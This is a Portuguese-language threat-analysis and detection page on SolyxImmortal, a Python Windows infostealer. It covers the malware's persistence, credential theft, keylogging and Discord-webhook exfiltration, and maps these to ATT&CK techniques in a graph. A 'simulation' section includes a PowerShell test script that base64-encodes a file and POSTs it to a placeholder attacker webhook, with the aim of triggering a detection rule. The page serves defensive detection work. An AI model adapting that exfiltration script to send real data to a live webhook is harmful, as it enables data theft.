SOLYXIMMORTAL: ANÁLISE DE MALWARE EM PYTHON
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Sol yxImmortal é um ladrão de informações para Windows baseado em Python que coleta credenciais, documentos, teclas digitadas e capturas de tela, e então exfiltra os dados através de webhooks do Discord. O malware é executado inteiramente no espaço do usuário, mantém persistência plantando uma cópia no diretório AppData do usuário e configurando um valor de chave de registro de execução, continuando a operar sem apresentar nenhuma interface de usuário visível.
Investigação
A análise revelou duas URLs de webhook do Discord incorporadas e o uso do Windows DPAPI para descriptografar as credenciais do navegador baseado em Chromium. O ladrão registra as teclas digitadas por meio de um gancho de teclado, rastreia a janela ativa para identificar títulos de aplicativos potencialmente sensíveis e captura capturas de tela em uma programação recorrente. A persistência é implementada copiando o payload para um local oculto sob %AppData% e adicionando um valor à chave Run do HKCU para iniciar a execução ao logon do usuário.
Mitigação
Implementar lista de permissões de aplicativos, monitorar a criação e execução de binários a partir de caminhos graváveis pelo usuário, detectar alterações nas chaves Run em nível de usuário e alertar sobre atividades de saída HTTPS POST para pontos finais de webhook do Discord. Fortalecer os controles em torno de armazenamentos de credenciais no navegador e reduzir a exposição dos endpoints limitando ou governando estritamente o uso de linguagens de script, onde possível.
Resposta
Após a detecção, isolar o endpoint impactado, remover a cópia maliciosa residente em AppData, excluir o valor associado à chave de execução, e bloquear as URLs de webhook do Discord identificadas. Girar credenciais para contas potencialmente afetadas e realizar coleta forense de registros de teclas digitadas, capturas de tela e bancos de dados do navegador para apoiar a delimitação e análise da causa raiz.
"grafo TB %% Definições de classes classDef técnica fill:#ffcc99 classDef artefato fill:#ccffcc classDef malware fill:#ff9999 classDef processo fill:#ccccff classDef serviço fill:#ffdd99 %% Nós de Técnica tech_python["<b>Técnica</b> – <b>T1059.006</b> Intérprete de Comando e Script: Python<br/><b>Descrição</b>: Executa código Python malicioso para lançar o implante e iniciar a funcionalidade."] class tech_python técnica tech_registry["<b>Técnica</b> – <b>T1547.001</b> Execução de Autostart de Inicialização ou Login: Chaves de Execução de Registro<br/><b>Descrição</b>: Copia malware para um local gravável e adiciona uma chave de execução para persistência em logons."] class tech_registry técnica tech_hidden["<b>Técnica</b> – <b>T1564.005</b> Ocultar Artefatos: Sistema de Arquivos Ocultos<br/><b>Descrição</b>: Marca a cópia maliciosa com atributos ocultos e de sistema para evadir descoberta."] class tech_hidden técnica tech_browser_creds["<b>Técnica</b> – <b>T1555.003</b> Credenciais de Armazenamentos de Senhas: Navegadores Web<br/><b>Descrição</b>: Extrai e descriptografa credenciais salvas do navegador baseado em Chromium usando a chave mestre e DPAPI."] class tech_browser_creds técnica tech_file_discovery["<b>Técnica</b> – <b>T1083</b> Descoberta de Arquivos e Diretórios<br/><b>Descrição</b>: Enumera o sistema de arquivos para localizar documentos de interesse."] class tech_file_discovery técnica tech_keylogging["<b>Técnica</b> – <b>T1056.001</b> Captura de Entrada: Keylogging<br/><b>Descrição</b>: Registra as teclas digitadas por meio de um ouvinte de teclado persistente e as armazena na memória."] class tech_keylogging técnica tech_screen_capture["<b>Técnica</b> – <b>T1113</b> Captura de Tela<br/><b>Descrição</b>: Captura capturas de tela da janela ativa em intervalos regulares e em atividades sensíveis."] class tech_screen_capture técnica tech_archive["<b>Técnica</b> – <b>T1560.002</b> Armazenar Dados Coletados: Arquivar via Biblioteca<br/><b>Descrição</b>: Compacta dados preparados em um arquivo ZIP usando uma biblioteca para reduzir o tamanho e mascarar conteúdo."] class tech_archive técnica tech_obfuscate["<b>Técnica</b> – <b>T1027</b> Arquivos e Informações Ofuscados/Compactados<br/><b>Descrição</b>: Usa compactação para ocultar dados antes da exfiltração."] class tech_obfuscate técnica tech_exfil["<b>Técnica</b> – <b>T1567.004</b> Exfiltração através de Webhook<br/><b>Descrição</b>: Envia dados coletados para URLs de webhook do Discord controlados pelo atacante sobre HTTPS."] class tech_exfil técnica tech_third_party["<b>Técnica</b> – <b>T1102.003</b> Serviço Web: Serviços de Terceiros<br/><b>Descrição</b>: Utiliza o Discord como um serviço de terceiros para comunicações de comando e controle."] class tech_third_party técnica %% Nós de Artefato e Processo artifact_python["<b>Artefato</b> – Lethalcompany.py executado no host da vítima"] class artifact_python artefato process_copy["<b>Processo</b> – Copia malware para o diretório %AppData%"] class process_copy processo artifact_persistence["<b>Artefato</b> – Chave de execução de registro criada para arquivo copiado"] class artifact_persistence artefato artifact_hidden["<b>Artefato</b> – Atributos de arquivo definidos como ocultos e de sistema"] class artifact_hidden artefato artifact_cred_extraction["<b>Artefato</b> – Extração de senhas e cookies do Chrome/Edge"] class artifact_cred_extraction artefato artifact_file_search["<b>Artefato</b> – Enumeração recursiva de arquivos .doc, .pdf, .xls na home do usuário"] class artifact_file_search artefato artifact_keylog["<b>Artefato</b> – Buffer de teclas digitadas em memória esvaziado periodicamente"] class artifact_keylog artefato artifact_screenshot["<b>Artefato</b> – Capturas de tela capturadas com base nas palavras-chave do título da janela"] class artifact_screenshot artefato artifact_zip["<b>Artefato</b> – Arquivo ZIP criado com dados preparados"] class artifact_zip artefato artifact_exfil["<b>Artefato</b> – POST HTTPS para webhook do Discord com arquivo e capturas de tela"] class artifact_exfil artefato service_discord["<b>Serviço</b> – Webhook do Discord usado para C2 e exfiltração"] class service_discord serviço %% Conexões mostrando o fluxo do ataque artifact_python –>|executa| tech_python tech_python –>|permite| process_copy process_copy –>|coloca o arquivo no AppData| artifact_persistence artifact_persistence –>|registra| tech_registry artifact_persistence –>|marca como oculto| tech_hidden tech_hidden –>|aplica a| artifact_hidden tech_browser_creds –>|coleta| artifact_cred_extraction tech_file_discovery –>|coleta| artifact_file_search tech_keylogging –>|captura| artifact_keylog tech_screen_capture –>|captura| artifact_screenshot tech_archive –>|cria| artifact_zip tech_obfuscate –>|suporta| tech_archive artifact_zip –>|preparado para| tech_exfil tech_exfil –>|usa| service_discord service_discord –>|recebe dados via| artifact_exfil tech_third_party –>|fornece canal para| tech_exfil "
Fluxo de Ataque
Detecções
Possível Abuso do Discord como Canal C2 (via proxy)
Proof of Value
Atribuir Execução para Ocultar Arquivos (via linha de comando)
Proof of Value
Possíveis Pontos de Persistência [ASEPs – Hive de Software/NTUSER] (via evento de registro)
Proof of Value
IOCs (HashMd5) para detectar: SOLYXIMMORTAL : ANÁLISE DE MALWARE PYTHON
Proof of Value
IOCs (HashSha256) para detectar: SOLYXIMMORTAL : ANÁLISE DE MALWARE PYTHON
Proof of Value
Detecção de Exfiltração de Malware SolyxImmortal via Webhooks do Discord [Conexão de Rede Windows]
Proof of Value
Execução e Persistência de Malware SolyxImmortal Python [Criação de Processo Windows]
Proof of Value
Execução de Simulação
Pré-requisito: A Verificação de Pré-Voo de Telemetria & Base deve ter sido aprovada.
-
Narrativa & Comandos do Ataque:
O adversário já comprometeu o host e coletou credenciais, keylogs e capturas de tela (T1056.001, T1113). O próximo passo é exfiltrar os dados coletados através de um webhook malicioso do Discord. Usando PowerShell (nativo, sem binários externos) o malware cria uma carga JSON contendo dados de arquivo codificados em base-64 e os envia para o URL do webhook. Como a regra apenas procura o hostname e o método HTTP, esta atividade deve acionar um alerta. -
Script de Teste de Regressão:
# Exfiltração simulada do SolyxImmortal via webhook do Discord param( [string]$WebhookUrl = "https://discord.com/api/webhooks/ATTACKER/EXFIL", [string]$FilePath = "$env:TEMPsample.txt" ) # 1. Criar um arquivo fictício que representa dados coletados Set-Content -Path $FilePath -Value ("SensitiveData_" + (Get-Date).ToString("s")) # 2. Codificar o conteúdo do arquivo em Base64 (simulando ofuscação) $fileBytes = [System.IO.File]::ReadAllBytes($FilePath) $b64Data = [Convert]::ToBase64String($fileBytes) # 3. Construir a carga de JSON esperada pelo webhook do Discord $payload = @{ content = "Exfiltration payload" embeds = @( @{ title = "StolenFile.txt" description = $b64Data color = 16711680 } ) } | ConvertTo-Json -Depth 5 # 4. Enviar solicitação POST HTTPS Invoke-WebRequest -Uri $WebhookUrl -Method POST -Body $payload -ContentType "application/json" -UseBasicParsing Write-Host "Tentativa de exfiltração enviada." -
Comandos de Limpeza:
# Remover o arquivo fictício e limpar quaisquer variáveis residuais Remove-Item -Path "$env:TEMPsample.txt" -ErrorAction SilentlyContinue Remove-Variable -Name WebhookUrl, FilePath, fileBytes, b64Data, payload -ErrorAction SilentlyContinue Write-Host "Limpeza completa."